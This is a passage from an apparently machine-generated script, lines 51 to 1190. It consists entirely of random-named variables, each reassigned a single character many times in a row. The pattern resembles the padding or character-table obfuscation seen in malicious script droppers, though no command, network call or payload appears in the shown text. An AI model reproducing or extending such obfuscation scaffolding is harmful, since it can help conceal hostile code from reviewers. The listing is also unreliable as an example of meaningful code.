51	yqwggme = "H";
52	yqwggme = "r";
53	yqwggme = "D";
54	yqwggme = "H";
55	yqwggme = "g";
56	yqwggme = "g";
57	yqwggme = "p";
58	yqwggme = "V";
59	yqwggme = "Y";
60	olpgbgz = "f";
61	olpgbgz = "T";
62	olpgbgz = "s";
63	olpgbgz = "F";
64	olpgbgz = "q";
65	olpgbgz = "s";
66	olpgbgz = "e";
67	olpgbgz = "j";
68	olpgbgz = "o";
69	olpgbgz = "q";
70	efzakl = "l";
71	efzakl = "W";
72	efzakl = "o";
73	efzakl = "r";
74	efzakl = "N";
75	efzakl = "H";
76	efzakl = "S";
77	efzakl = "I";
78	efzakl = "S";
79	efzakl = "q";
80	efzakl = "L";
81	efzakl = "B";
82	efzakl = "m";
83	efzakl = "U";
84	efzakl = "q";
85	efzakl = "e";
86	efzakl = "Q";
87	efzakl = "A";
88	efzakl = "r";
89	efzakl = "u";
90	efzakl = "b";
91	efzakl = "M";
92	efzakl = "-";
93	lcxcq = "h";
94	lcxcq = "M";
95	lcxcq = "L";
96	lcxcq = "E";
97	lcxcq = "g";
98	lcxcq = "e";
99	lcxcq = "g";
100	lcxcq = "z";
101	lcxcq = "M";
102	lcxcq = "B";
103	lcxcq = "a";
104	lcxcq = "M";
105	lcxcq = "Q";
106	lcxcq = "P";
107	lcxcq = "k";
108	lcxcq = "z";
109	lcxcq = "Q";
110	lcxcq = "r";
111	lcxcq = "R";
112	lcxcq = "G";
113	lcxcq = "N";
114	lcxcq = "z";
115	lcxcq = "b";
116	lcxcq = "H";
117	lcxcq = "p";
118	lcxcq = "F";
119	lcxcq = "N";
120	lcxcq = "m";
121	lcxcq = "U";
122	lcxcq = "O";
123	lcxcq = "P";
124	lcxcq = "l";
125	lcxcq = "r";
126	lcxcq = "O";
127	lcxcq = "V";
128	lcxcq = "X";
129	lcxcq = "r";
130	lcxcq = "S";
131	lcxcq = "K";
132	lcxcq = "i";
133	lcxcq = "F";
134	lcxcq = "c";
135	lcxcq = "H";
136	ggqsb = "h";
137	ggqsb = "F";
138	ggqsb = "y";
139	ggqsb = "V";
140	ggqsb = "h";
141	ggqsb = "n";
142	ggqsb = "R";
143	ggqsb = "b";
144	ggqsb = "B";
145	ggqsb = "Y";
146	ggqsb = "Q";
147	ggqsb = "T";
148	ggqsb = "P";
149	ggqsb = "L";
150	ggqsb = "o";
151	ggqsb = "M";
152	ggqsb = "G";
153	ggqsb = "T";
154	ggqsb = "K";
155	ggqsb = "T";
156	ggqsb = "c";
157	ggqsb = "m";
158	ggqsb = "t";
159	ggqsb = "r";
160	ggqsb = "H";
161	ggqsb = "a";
162	ggqsb = "x";
163	ggqsb = "V";
164	ggqsb = "f";
165	ggqsb = "D";
166	ggqsb = "E";
167	ggqsb = "Y";
168	ggqsb = "M";
169	ggqsb = "Z";
170	ggqsb = "2";
171	oocqapn = "x";
172	oocqapn = "C";
173	oocqapn = "b";
174	oocqapn = "f";
175	lajkjsyc = "T";
176	lajkjsyc = "H";
177	lajkjsyc = "V";
178	lajkjsyc = "f";
179	lajkjsyc = "p";
180	lajkjsyc = "a";
181	lajkjsyc = "W";
182	lajkjsyc = "L";
183	lajkjsyc = "I";
184	lajkjsyc = "u";
185	lajkjsyc = "w";
186	lajkjsyc = "c";
187	lajkjsyc = "A";
188	lajkjsyc = "9";
189	rneztrphk = "K";
190	rneztrphk = "z";
191	rneztrphk = "B";
192	rneztrphk = "f";
193	rneztrphk = "D";
194	rneztrphk = "P";
195	rneztrphk = "w";
196	rneztrphk = "U";
197	rneztrphk = "s";
198	rneztrphk = "G";
199	rneztrphk = "s";
200	rneztrphk = "g";
201	rneztrphk = "h";
202	rneztrphk = "f";
203	rneztrphk = "p";
204	rneztrphk = "F";
205	rneztrphk = "P";
206	rneztrphk = "G";
207	rneztrphk = "T";
208	rneztrphk = "g";
209	rneztrphk = "m";
210	rneztrphk = "L";
211	rneztrphk = "c";
212	rneztrphk = "u";
213	rneztrphk = "u";
214	rneztrphk = "R";
215	rneztrphk = "p";
216	rneztrphk = "H";
217	rneztrphk = "g";
218	rneztrphk = "P";
219	rneztrphk = "o";
220	rneztrphk = "w";
221	rneztrphk = "g";
222	rneztrphk = "Z";
223	rneztrphk = "m";
224	rneztrphk = "B";
225	rneztrphk = "T";
226	rneztrphk = "d";
227	rneztrphk = "h";
228	rneztrphk = "f";
229	rneztrphk = "b";
230	rneztrphk = "p";
231	rneztrphk = "T";
232	rneztrphk = "p";
233	rneztrphk = ".";
234	njpvj = "W";
235	njpvj = "q";
236	njpvj = "V";
237	njpvj = "S";
238	njpvj = "D";
239	njpvj = "K";
240	njpvj = "v";
241	njpvj = "R";
242	njpvj = "D";
243	njpvj = "I";
244	njpvj = "y";
245	njpvj = "T";
246	tbdjkzwaa = "p";
247	tbdjkzwaa = "I";
248	tbdjkzwaa = "X";
249	tbdjkzwaa = "h";
250	tbdjkzwaa = "q";
251	tbdjkzwaa = "n";
252	tbdjkzwaa = "Q";
253	tbdjkzwaa = "O";
254	tbdjkzwaa = "g";
255	tbdjkzwaa = "j";
256	tbdjkzwaa = "m";
257	tbdjkzwaa = "h";
258	tbdjkzwaa = "M";
259	tbdjkzwaa = "M";
260	tbdjkzwaa = "W";
261	tbdjkzwaa = "G";
262	tbdjkzwaa = "b";
263	tbdjkzwaa = "v";
264	tbdjkzwaa = "t";
265	tbdjkzwaa = "v";
266	tbdjkzwaa = "j";
267	tbdjkzwaa = "U";
268	tbdjkzwaa = "r";
269	tbdjkzwaa = "V";
270	tbdjkzwaa = "d";
271	tbdjkzwaa = "H";
272	tbdjkzwaa = "y";
273	tbdjkzwaa = "l";
274	tbdjkzwaa = "a";
275	tbdjkzwaa = "n";
276	tbdjkzwaa = "i";
277	tbdjkzwaa = "Q";
278	tbdjkzwaa = "u";
279	tbdjkzwaa = "F";
280	tbdjkzwaa = "m";
281	tbdjkzwaa = "X";
282	tbdjkzwaa = "R";
283	tbdjkzwaa = "F";
284	vpvub = "s";
285	vpvub = "l";
286	vpvub = "C";
287	vpvub = "i";
288	vpvub = "l";
289	vpvub = "d";
290	vpvub = "B";
291	vpvub = "p";
292	vpvub = "M";
293	vpvub = "P";
294	vpvub = "e";
295	vpvub = "g";
296	vpvub = "u";
297	vpvub = "Z";
298	vpvub = "n";
299	vpvub = "a";
300	vpvub = "%";
301	wnnccoqr = "W";
302	wnnccoqr = "o";
303	wnnccoqr = "Q";
304	wnnccoqr = "e";
305	wnnccoqr = "f";
306	wnnccoqr = "b";
307	wnnccoqr = "S";
308	wnnccoqr = "U";
309	wnnccoqr = "Z";
310	wnnccoqr = "y";
311	wnnccoqr = "k";
312	wnnccoqr = "u";
313	wnnccoqr = "q";
314	wnnccoqr = "o";
315	wnnccoqr = "p";
316	wnnccoqr = "/";
317	rqvwwhv = "Z";
318	rqvwwhv = "H";
319	rqvwwhv = "d";
320	rqvwwhv = "o";
321	rqvwwhv = "Y";
322	rqvwwhv = "k";
323	rqvwwhv = "s";
324	rqvwwhv = "O";
325	rqvwwhv = "N";
326	rqvwwhv = "f";
327	rqvwwhv = "l";
328	rqvwwhv = "p";
329	rqvwwhv = "m";
330	rqvwwhv = "D";
331	rqvwwhv = "u";
332	rqvwwhv = "a";
333	rqvwwhv = "Q";
334	rqvwwhv = "b";
335	rqvwwhv = "o";
336	rqvwwhv = "o";
337	rqvwwhv = "Z";
338	rqvwwhv = "G";
339	rqvwwhv = "t";
340	rqvwwhv = "A";
341	rqvwwhv = "F";
342	rqvwwhv = "U";
343	rqvwwhv = "P";
344	rqvwwhv = "R";
345	rqvwwhv = "w";
346	rqvwwhv = "R";
347	rqvwwhv = "M";
348	rqvwwhv = "t";
349	rqvwwhv = "B";
350	rqvwwhv = "x";
351	rqvwwhv = "b";
352	rqvwwhv = "R";
353	rqvwwhv = "E";
354	rqvwwhv = "a";
355	rqvwwhv = "M";
356	rqvwwhv = "K";
357	rqvwwhv = "R";
358	rqvwwhv = "f";
359	rqvwwhv = "A";
360	rqvwwhv = "g";
361	blign = "H";
362	blign = "R";
363	blign = "T";
364	blign = "J";
365	blign = "u";
366	blign = "b";
367	blign = "V";
368	blign = "l";
369	blign = "A";
370	blign = "A";
371	blign = "w";
372	blign = "x";
373	blign = "H";
374	blign = "C";
375	blign = "P";
376	blign = "k";
377	blign = "h";
378	blign = "K";
379	blign = "x";
380	blign = "p";
381	blign = "v";
382	blign = "h";
383	blign = "T";
384	blign = "z";
385	blign = "q";
386	blign = "Q";
387	blign = "A";
388	blign = "s";
389	blign = "b";
390	blign = "g";
391	blign = "M";
392	blign = "a";
393	blign = "s";
394	blign = "e";
395	blign = "T";
396	blign = "h";
397	blign = "o";
398	blign = "y";
399	blign = "w";
400	blign = "M";
401	blign = "5";
402	rjzmgmxdx = "S";
403	rjzmgmxdx = "d";
404	rjzmgmxdx = "J";
405	rjzmgmxdx = "G";
406	rjzmgmxdx = "Q";
407	rjzmgmxdx = "U";
408	rjzmgmxdx = "T";
409	rjzmgmxdx = "Z";
410	rjzmgmxdx = "t";
411	rjzmgmxdx = "D";
412	rjzmgmxdx = "o";
413	rjzmgmxdx = "m";
414	rjzmgmxdx = "d";
415	ascauv = "D";
416	ascauv = "y";
417	ascauv = "a";
418	ascauv = "b";
419	ffyveizd = "j";
420	ffyveizd = "v";
421	ffyveizd = "q";
422	ffyveizd = "A";
423	ffyveizd = "z";
424	ffyveizd = "i";
425	ffyveizd = "d";
426	ffyveizd = "Q";
427	ffyveizd = "q";
428	ffyveizd = "A";
429	ffyveizd = "l";
430	ffyveizd = "v";
431	ffyveizd = "l";
432	ffyveizd = "k";
433	ffyveizd = "M";
434	ffyveizd = "e";
435	ffyveizd = "s";
436	ffyveizd = "C";
437	ffyveizd = "Q";
438	ffyveizd = "L";
439	ffyveizd = "j";
440	jjxxfako = "w";
441	jjxxfako = "L";
442	jjxxfako = "w";
443	jjxxfako = "f";
444	jjxxfako = "U";
445	jjxxfako = "n";
446	jjxxfako = "P";
447	jjxxfako = "T";
448	jjxxfako = "n";
449	jjxxfako = "i";
450	jjxxfako = "I";
451	jjxxfako = "k";
452	jjxxfako = "Z";
453	jjxxfako = "D";
454	jjxxfako = "l";
455	jjxxfako = "F";
456	jjxxfako = "X";
457	jjxxfako = "E";
458	jjxxfako = "u";
459	jjxxfako = "L";
460	jjxxfako = "V";
461	jjxxfako = "Q";
462	jjxxfako = "M";
463	jjxxfako = "W";
464	jjxxfako = "h";
465	jjxxfako = "l";
466	jjxxfako = "M";
467	jjxxfako = "C";
468	pjgqqs = "W";
469	pjgqqs = "r";
470	pjgqqs = "O";
471	pjgqqs = "Z";
472	pjgqqs = "B";
473	pjgqqs = "C";
474	pjgqqs = "u";
475	pjgqqs = "I";
476	pjgqqs = "V";
477	pjgqqs = "F";
478	pjgqqs = "s";
479	pjgqqs = "Q";
480	pjgqqs = "e";
481	pjgqqs = "h";
482	pjgqqs = "B";
483	pjgqqs = "x";
484	pjgqqs = "h";
485	pjgqqs = "q";
486	pjgqqs = "L";
487	pjgqqs = "W";
488	vhpusmlbt = "u";
489	vhpusmlbt = "x";
490	vhpusmlbt = "N";
491	vhpusmlbt = "L";
492	vhpusmlbt = "B";
493	vhpusmlbt = "x";
494	vhpusmlbt = "z";
495	vhpusmlbt = "R";
496	vhpusmlbt = "k";
497	vhpusmlbt = "k";
498	vhpusmlbt = "T";
499	vhpusmlbt = "X";
500	vhpusmlbt = "V";
501	vhpusmlbt = "b";
502	vhpusmlbt = "I";
503	vhpusmlbt = "K";
504	vhpusmlbt = "n";
505	vhpusmlbt = "O";
506	vhpusmlbt = "D";
507	vhpusmlbt = "F";
508	vhpusmlbt = "G";
509	vhpusmlbt = "E";
510	vhpusmlbt = "G";
511	vhpusmlbt = "C";
512	vhpusmlbt = "i";
513	vhpusmlbt = "h";
514	vhpusmlbt = "a";
515	vhpusmlbt = "D";
516	vhpusmlbt = "B";
517	vhpusmlbt = "N";
518	vhpusmlbt = "q";
519	vhpusmlbt = "O";
520	vhpusmlbt = "f";
521	vhpusmlbt = "F";
522	vhpusmlbt = "b";
523	vhpusmlbt = "Z";
524	vhpusmlbt = "b";
525	vhpusmlbt = "W";
526	vhpusmlbt = "K";
527	vhpusmlbt = "C";
528	vhpusmlbt = "Y";
529	vhpusmlbt = "N";
530	sprhcssl = "E";
531	sprhcssl = "z";
532	sprhcssl = "b";
533	sprhcssl = "x";
534	sprhcssl = "F";
535	sprhcssl = "z";
536	sprhcssl = "l";
537	issql = "A";
538	issql = "L";
539	issql = "Q";
540	issql = "x";
541	issql = "T";
542	issql = "w";
543	issql = "r";
544	issql = "m";
545	issql = "o";
546	issql = "T";
547	issql = "K";
548	issql = "U";
549	wjdfexox = "E";
550	wjdfexox = "T";
551	wjdfexox = "H";
552	wjdfexox = "V";
553	wjdfexox = "a";
554	wjdfexox = "V";
555	wjdfexox = "o";
556	wjdfexox = "t";
557	wjdfexox = "Y";
558	wjdfexox = "C";
559	wjdfexox = "O";
560	wjdfexox = "Z";
561	wjdfexox = "v";
562	wjdfexox = "f";
563	wjdfexox = "G";
564	wjdfexox = "S";
565	wjdfexox = "s";
566	xxbmdj = "P";
567	xxbmdj = "B";
568	xxbmdj = "T";
569	xxbmdj = "l";
570	xxbmdj = "h";
571	xxbmdj = "n";
572	xxbmdj = "N";
573	xxbmdj = "f";
574	xxbmdj = "m";
575	xxbmdj = "Z";
576	xxbmdj = "v";
577	xxbmdj = "a";
578	xxbmdj = "F";
579	xxbmdj = "V";
580	xxbmdj = "k";
581	xxbmdj = "p";
582	xxbmdj = "q";
583	xxbmdj = "Q";
584	xxbmdj = "&";
585	rvhqym = "s";
586	rvhqym = "W";
587	rvhqym = "K";
588	rvhqym = "p";
589	ejzzdoknb = "t";
590	ejzzdoknb = "t";
591	ejzzdoknb = "o";
592	ejzzdoknb = "B";
593	ejzzdoknb = "I";
594	ejzzdoknb = "o";
595	ejzzdoknb = "n";
596	ejzzdoknb = "d";
597	ejzzdoknb = "E";
598	ejzzdoknb = "s";
599	ejzzdoknb = "m";
600	ejzzdoknb = "o";
601	ejzzdoknb = "g";
602	ejzzdoknb = "I";
603	ejzzdoknb = "i";
604	ejzzdoknb = "p";
605	ejzzdoknb = "r";
606	ejzzdoknb = "M";
607	ejzzdoknb = "M";
608	ejzzdoknb = "J";
609	ejzzdoknb = "C";
610	ejzzdoknb = "T";
611	ejzzdoknb = "i";
612	ejzzdoknb = "r";
613	ejzzdoknb = "z";
614	ejzzdoknb = "f";
615	ejzzdoknb = "f";
616	ejzzdoknb = "t";
617	ejzzdoknb = "I";
618	ejzzdoknb = "s";
619	ejzzdoknb = "V";
620	ejzzdoknb = "C";
621	ejzzdoknb = "t";
622	ejzzdoknb = "c";
623	ejzzdoknb = "s";
624	ejzzdoknb = "E";
625	ejzzdoknb = "N";
626	ejzzdoknb = "g";
627	ejzzdoknb = "S";
628	ejzzdoknb = "1";
629	lkcnkfth = "L";
630	lkcnkfth = "B";
631	lkcnkfth = "c";
632	lkcnkfth = "v";
633	lkcnkfth = "s";
634	lkcnkfth = "I";
635	lkcnkfth = "O";
636	lkcnkfth = "i";
637	lkcnkfth = "K";
638	lkcnkfth = "n";
639	lkcnkfth = "K";
640	lkcnkfth = "Z";
641	lkcnkfth = "O";
642	lkcnkfth = "P";
643	lkcnkfth = "m";
644	lkcnkfth = "F";
645	lkcnkfth = "w";
646	lkcnkfth = "Q";
647	lkcnkfth = "q";
648	lkcnkfth = "p";
649	lkcnkfth = "y";
650	lkcnkfth = "o";
651	jqjvjpgd = "c";
652	jqjvjpgd = "e";
653	jqjvjpgd = "L";
654	jqjvjpgd = "r";
655	jqjvjpgd = "i";
656	jqjvjpgd = "N";
657	jqjvjpgd = "O";
658	jqjvjpgd = "r";
659	jqjvjpgd = "g";
660	jqjvjpgd = "F";
661	jqjvjpgd = "h";
662	jqjvjpgd = "H";
663	jqjvjpgd = "g";
664	jqjvjpgd = "u";
665	jqjvjpgd = "e";
666	jqjvjpgd = "n";
667	jqjvjpgd = "c";
668	bcvebq = "h";
669	bcvebq = "n";
670	bcvebq = "E";
671	bcvebq = "T";
672	bcvebq = "T";
673	bcvebq = "g";
674	bcvebq = "w";
675	bcvebq = "f";
676	bcvebq = "D";
677	bcvebq = "k";
678	bcvebq = "r";
679	bcvebq = "J";
680	bcvebq = "v";
681	bcvebq = "Y";
682	bcvebq = "g";
683	bcvebq = "b";
684	bcvebq = "j";
685	bcvebq = "h";
686	bcvebq = "c";
687	bcvebq = "f";
688	bcvebq = "T";
689	bcvebq = "I";
690	bcvebq = "A";
691	bcvebq = "m";
692	bcvebq = "K";
693	bcvebq = "O";
694	ksbef = "j";
695	ksbef = "I";
696	ksbef = "h";
697	ksbef = "X";
698	ksbef = "A";
699	ksbef = "V";
700	ksbef = "K";
701	ksbef = "Q";
702	ksbef = "x";
703	ksbef = "I";
704	ksbef = "w";
705	ksbef = "e";
706	ksbef = "b";
707	ksbef = "Q";
708	ksbef = "w";
709	ksbef = "V";
710	ksbef = "C";
711	ksbef = "M";
712	ksbef = "u";
713	ksbef = "a";
714	cdytnkrwd = "Y";
715	cdytnkrwd = "V";
716	cdytnkrwd = "H";
717	cdytnkrwd = "Z";
718	cdytnkrwd = "n";
719	cdytnkrwd = "P";
720	cdytnkrwd = "T";
721	cdytnkrwd = "I";
722	cdytnkrwd = "b";
723	cdytnkrwd = "S";
724	cdytnkrwd = "S";
725	cdytnkrwd = "m";
726	cdytnkrwd = "O";
727	cdytnkrwd = "f";
728	cdytnkrwd = "V";
729	cdytnkrwd = "k";
730	cdytnkrwd = "c";
731	cdytnkrwd = "g";
732	cdytnkrwd = "u";
733	cdytnkrwd = "p";
734	cdytnkrwd = "L";
735	cdytnkrwd = "B";
736	cdytnkrwd = "L";
737	cdytnkrwd = "i";
738	cdytnkrwd = "U";
739	cdytnkrwd = "H";
740	cdytnkrwd = "U";
741	cdytnkrwd = "K";
742	cdytnkrwd = "L";
743	cdytnkrwd = "z";
744	cdytnkrwd = "M";
745	cdytnkrwd = "U";
746	cdytnkrwd = "X";
747	cdytnkrwd = "I";
748	cdytnkrwd = "B";
749	cdytnkrwd = "z";
750	cdytnkrwd = "F";
751	cdytnkrwd = "j";
752	cdytnkrwd = "l";
753	cdytnkrwd = "w";
754	cdytnkrwd = "a";
755	cdytnkrwd = "i";
756	pdwhaabj = "d";
757	pdwhaabj = "E";
758	pdwhaabj = "H";
759	pdwhaabj = "Q";
760	pdwhaabj = "I";
761	pdwhaabj = "M";
762	pdwhaabj = "b";
763	pdwhaabj = "a";
764	pdwhaabj = "X";
765	pdwhaabj = "U";
766	pdwhaabj = "g";
767	pdwhaabj = "z";
768	pdwhaabj = "B";
769	pdwhaabj = "a";
770	pdwhaabj = "R";
771	pdwhaabj = "I";
772	znmnbxob = "R";
773	znmnbxob = "N";
774	znmnbxob = "o";
775	znmnbxob = "Y";
776	znmnbxob = "N";
777	znmnbxob = "d";
778	znmnbxob = "Q";
779	znmnbxob = "P";
780	znmnbxob = "F";
781	znmnbxob = "s";
782	znmnbxob = "O";
783	znmnbxob = "G";
784	znmnbxob = "u";
785	znmnbxob = "z";
786	znmnbxob = "a";
787	znmnbxob = "M";
788	znmnbxob = "D";
789	znmnbxob = "T";
790	znmnbxob = "k";
791	znmnbxob = "W";
792	znmnbxob = "r";
793	znmnbxob = "s";
794	znmnbxob = "Y";
795	znmnbxob = "A";
796	znmnbxob = "o";
797	znmnbxob = "R";
798	znmnbxob = "f";
799	znmnbxob = "a";
800	znmnbxob = "i";
801	znmnbxob = "L";
802	znmnbxob = "v";
803	znmnbxob = "s";
804	znmnbxob = "k";
805	znmnbxob = "L";
806	znmnbxob = "W";
807	znmnbxob = "P";
808	znmnbxob = "Y";
809	znmnbxob = "e";
810	znmnbxob = "d";
811	znmnbxob = "M";
812	znmnbxob = "e";
813	fresifj = "z";
814	fresifj = "O";
815	fresifj = "h";
816	fresifj = "X";
817	fresifj = "H";
818	fresifj = "q";
819	fresifj = "V";
820	fresifj = "U";
821	fresifj = "H";
822	fresifj = "d";
823	fresifj = "\"";
824	adxzqhy = "T";
825	adxzqhy = "v";
826	adxzqhy = "z";
827	adxzqhy = "S";
828	adxzqhy = "f";
829	adxzqhy = "X";
830	adxzqhy = "p";
831	adxzqhy = "z";
832	adxzqhy = "V";
833	adxzqhy = "J";
834	adxzqhy = "t";
835	adxzqhy = "i";
836	adxzqhy = "W";
837	adxzqhy = "f";
838	adxzqhy = "U";
839	adxzqhy = "w";
840	adxzqhy = "k";
841	adxzqhy = "u";
842	adxzqhy = "f";
843	adxzqhy = "6";
844	ycafmhbp = "Y";
845	ycafmhbp = "q";
846	ycafmhbp = "C";
847	ycafmhbp = "X";
848	ycafmhbp = "U";
849	ycafmhbp = "a";
850	ycafmhbp = "K";
851	ycafmhbp = "s";
852	ycafmhbp = "N";
853	ycafmhbp = "F";
854	ycafmhbp = "E";
855	ycafmhbp = "Y";
856	ycafmhbp = "c";
857	ycafmhbp = "Y";
858	ycafmhbp = "O";
859	ycafmhbp = "l";
860	ycafmhbp = "S";
861	ycafmhbp = "J";
862	ycafmhbp = "u";
863	ycafmhbp = "y";
864	ycafmhbp = "G";
865	ycafmhbp = "W";
866	ycafmhbp = "M";
867	ycafmhbp = "V";
868	ycafmhbp = "P";
869	ycafmhbp = "R";
870	ycafmhbp = "c";
871	ycafmhbp = "l";
872	ycafmhbp = "f";
873	ycafmhbp = "m";
874	ycafmhbp = "N";
875	ycafmhbp = "R";
876	ycafmhbp = "0";
877	qnemvpwk = "k";
878	qnemvpwk = "w";
879	qnemvpwk = "g";
880	qnemvpwk = "3";
881	kjfxzq = "u";
882	kjfxzq = "h";
883	kjfxzq = "R";
884	kjfxzq = "D";
885	kjfxzq = "r";
886	kjfxzq = "U";
887	kjfxzq = "f";
888	kjfxzq = "g";
889	kjfxzq = "o";
890	kjfxzq = "x";
891	kjfxzq = "u";
892	kjfxzq = "c";
893	kjfxzq = "y";
894	kjfxzq = "J";
895	kjfxzq = "R";
896	kjfxzq = "R";
897	kjfxzq = "C";
898	kjfxzq = "i";
899	kjfxzq = "V";
900	kjfxzq = "Q";
901	kjfxzq = "e";
902	kjfxzq = "P";
903	wtkxkhiu = "I";
904	wtkxkhiu = "N";
905	wtkxkhiu = "f";
906	wtkxkhiu = "w";
907	wtkxkhiu = "S";
908	wtkxkhiu = "x";
909	wtkxkhiu = "z";
910	wtkxkhiu = "Q";
911	wtkxkhiu = "b";
912	wtkxkhiu = "t";
913	wtkxkhiu = "D";
914	wtkxkhiu = "T";
915	wtkxkhiu = "X";
916	wtkxkhiu = "m";
917	wtkxkhiu = "n";
918	wtkxkhiu = "a";
919	wtkxkhiu = "m";
920	wtkxkhiu = "I";
921	wtkxkhiu = "f";
922	wtkxkhiu = "i";
923	wtkxkhiu = "i";
924	wtkxkhiu = "\\";
925	plkrkkkjm = "K";
926	plkrkkkjm = "y";
927	plkrkkkjm = "h";
928	plkrkkkjm = "V";
929	plkrkkkjm = "V";
930	plkrkkkjm = "Y";
931	plkrkkkjm = "y";
932	plkrkkkjm = "s";
933	plkrkkkjm = "Q";
934	plkrkkkjm = "j";
935	plkrkkkjm = "@";
936	eyxiai = "C";
937	eyxiai = "d";
938	eyxiai = "J";
939	eyxiai = "q";
940	eyxiai = "U";
941	eyxiai = "W";
942	eyxiai = "B";
943	eyxiai = "d";
944	eyxiai = "W";
945	eyxiai = "d";
946	eyxiai = "F";
947	eyxiai = "q";
948	eyxiai = "s";
949	eyxiai = "J";
950	eyxiai = "e";
951	eyxiai = "x";
952	eyxiai = "o";
953	eyxiai = "c";
954	eyxiai = "l";
955	eyxiai = "Q";
956	eyxiai = "k";
957	eyxiai = "R";
958	eyxiai = "n";
959	eyxiai = "b";
960	eyxiai = "H";
961	eyxiai = "s";
962	eyxiai = "K";
963	eyxiai = "v";
964	eyxiai = "U";
965	eyxiai = "F";
966	eyxiai = "B";
967	eyxiai = "e";
968	eyxiai = "g";
969	eyxiai = "w";
970	eyxiai = "H";
971	eyxiai = "Z";
972	eyxiai = "E";
973	eyxiai = "x";
974	eyxiai = "K";
975	eyxiai = "e";
976	eyxiai = "K";
977	eyxiai = "_";
978	obrbrw = "o";
979	obrbrw = "W";
980	obrbrw = "W";
981	obrbrw = "o";
982	obrbrw = "A";
983	obrbrw = "g";
984	obrbrw = "w";
985	obrbrw = "V";
986	obrbrw = "c";
987	obrbrw = "t";
988	obrbrw = "c";
989	obrbrw = "X";
990	obrbrw = "s";
991	obrbrw = "S";
992	obrbrw = "l";
993	obrbrw = "y";
994	obrbrw = "n";
995	obrbrw = "j";
996	obrbrw = "n";
997	obrbrw = "m";
998	obrbrw = "S";
999	obrbrw = "R";
1000	obrbrw = "D";
1001	obrbrw = "o";
1002	obrbrw = "L";
1003	obrbrw = "j";
1004	obrbrw = "y";
1005	obrbrw = "v";
1006	obrbrw = "v";
1007	obrbrw = "H";
1008	obrbrw = "U";
1009	obrbrw = "H";
1010	obrbrw = "K";
1011	obrbrw = "e";
1012	obrbrw = "i";
1013	obrbrw = "O";
1014	obrbrw = "k";
1015	obrbrw = "X";
1016	obrbrw = "A";
1017	obrbrw = "z";
1018	obrbrw = "C";
1019	obrbrw = "M";
1020	obrbrw = "Z";
1021	obrbrw = "J";
1022	obrbrw = "u";
1023	kkzfv = "G";
1024	kkzfv = "W";
1025	kkzfv = "C";
1026	kkzfv = "t";
1027	kkzfv = "c";
1028	kkzfv = "u";
1029	kkzfv = "G";
1030	kkzfv = "o";
1031	kkzfv = "D";
1032	kkzfv = "E";
1033	kkzfv = "E";
1034	kkzfv = "N";
1035	kkzfv = "k";
1036	kkzfv = "u";
1037	kkzfv = "O";
1038	kkzfv = "I";
1039	kkzfv = "Y";
1040	kkzfv = "P";
1041	kkzfv = "M";
1042	kkzfv = "e";
1043	kkzfv = "w";
1044	kkzfv = "w";
1045	kkzfv = "n";
1046	nrtmqydy = "z";
1047	nrtmqydy = "a";
1048	nrtmqydy = "O";
1049	nrtmqydy = "f";
1050	nrtmqydy = "R";
1051	nrtmqydy = "w";
1052	nrtmqydy = "z";
1053	nrtmqydy = "f";
1054	nrtmqydy = "R";
1055	nrtmqydy = "a";
1056	nrtmqydy = "o";
1057	nrtmqydy = "y";
1058	nrtmqydy = "X";
1059	nrtmqydy = "P";
1060	nrtmqydy = "q";
1061	nrtmqydy = "B";
1062	nrtmqydy = "R";
1063	nrtmqydy = "G";
1064	nrtmqydy = "t";
1065	nrtmqydy = "F";
1066	nrtmqydy = "q";
1067	nrtmqydy = "k";
1068	nrtmqydy = "W";
1069	nrtmqydy = "D";
1070	nrtmqydy = "z";
1071	nrtmqydy = "n";
1072	nrtmqydy = "E";
1073	nrtmqydy = "q";
1074	nrtmqydy = "y";
1075	nrtmqydy = "I";
1076	nrtmqydy = "E";
1077	nrtmqydy = "J";
1078	nrtmqydy = "k";
1079	nrtmqydy = "s";
1080	nrtmqydy = "z";
1081	nrtmqydy = "d";
1082	nrtmqydy = "X";
1083	nrtmqydy = "g";
1084	nrtmqydy = "p";
1085	nrtmqydy = "J";
1086	nrtmqydy = "w";
1087	pmgjq = "f";
1088	pmgjq = "H";
1089	pmgjq = "v";
1090	pmgjq = "n";
1091	pmgjq = "O";
1092	pmgjq = "c";
1093	pmgjq = "Z";
1094	pmgjq = "c";
1095	pmgjq = "T";
1096	pmgjq = "y";
1097	pmgjq = "i";
1098	pmgjq = "V";
1099	pmgjq = "r";
1100	lvcizes = "j";
1101	lvcizes = "V";
1102	lvcizes = "r";
1103	lvcizes = "b";
1104	lvcizes = "K";
1105	lvcizes = "v";
1106	lvcizes = "K";
1107	lvcizes = "f";
1108	lvcizes = "v";
1109	lvcizes = "b";
1110	lvcizes = "a";
1111	lvcizes = "B";
1112	lvcizes = "X";
1113	lvcizes = "d";
1114	lvcizes = "Y";
1115	lvcizes = "F";
1116	lvcizes = "e";
1117	lvcizes = "n";
1118	lvcizes = "B";
1119	lvcizes = "d";
1120	lvcizes = "J";
1121	lvcizes = "m";
1122	lvcizes = "z";
1123	lvcizes = "p";
1124	lvcizes = "r";
1125	lvcizes = "D";
1126	lvcizes = "G";
1127	lvcizes = "h";
1128	lvcizes = "g";
1129	lvcizes = "t";
1130	lvcizes = "a";
1131	lvcizes = "m";
1132	lvcizes = "x";
1133	lvcizes = "h";
1134	rxyde = "e";
1135	rxyde = "t";
1136	rxyde = "Q";
1137	rxyde = "n";
1138	rxyde = "r";
1139	rxyde = "W";
1140	rxyde = "X";
1141	rxyde = "I";
1142	rxyde = "k";
1143	rxyde = "C";
1144	rxyde = "w";
1145	rxyde = "S";
1146	rxyde = "R";
1147	rxyde = "Q";
1148	rxyde = "W";
1149	rxyde = "Q";
1150	rxyde = "l";
1151	rxyde = "r";
1152	rxyde = "Y";
1153	rxyde = "B";
1154	rxyde = "A";
1155	rxyde = "c";
1156	rxyde = "S";
1157	rxyde = "U";
1158	rxyde = "G";
1159	rxyde = "Z";
1160	rxyde = "W";
1161	rxyde = "i";
1162	rxyde = "O";
1163	rxyde = "d";
1164	rxyde = "Z";
1165	rxyde = "f";
1166	rxyde = "j";
1167	rxyde = "Y";
1168	rxyde = "q";
1169	rxyde = "D";
1170	rxyde = "q";
1171	rxyde = "f";
1172	rxyde = "F";
1173	rxyde = "w";
1174	rxyde = "Y";
1175	rxyde = "g";
1176	rxyde = "o";
1177	rxyde = "8";
1178	gscyo = "W";
1179	gscyo = "c";
1180	gscyo = "k";
1181	gscyo = "R";
1182	gscyo = "m";
1183	gscyo = "X";
1184	gscyo = "S";
1185	fctxx = "P";
1186	fctxx = "l";
1187	fctxx = "G";
1188	fctxx = "M";
1189	fctxx = "N";
1190	fctxx = "E";
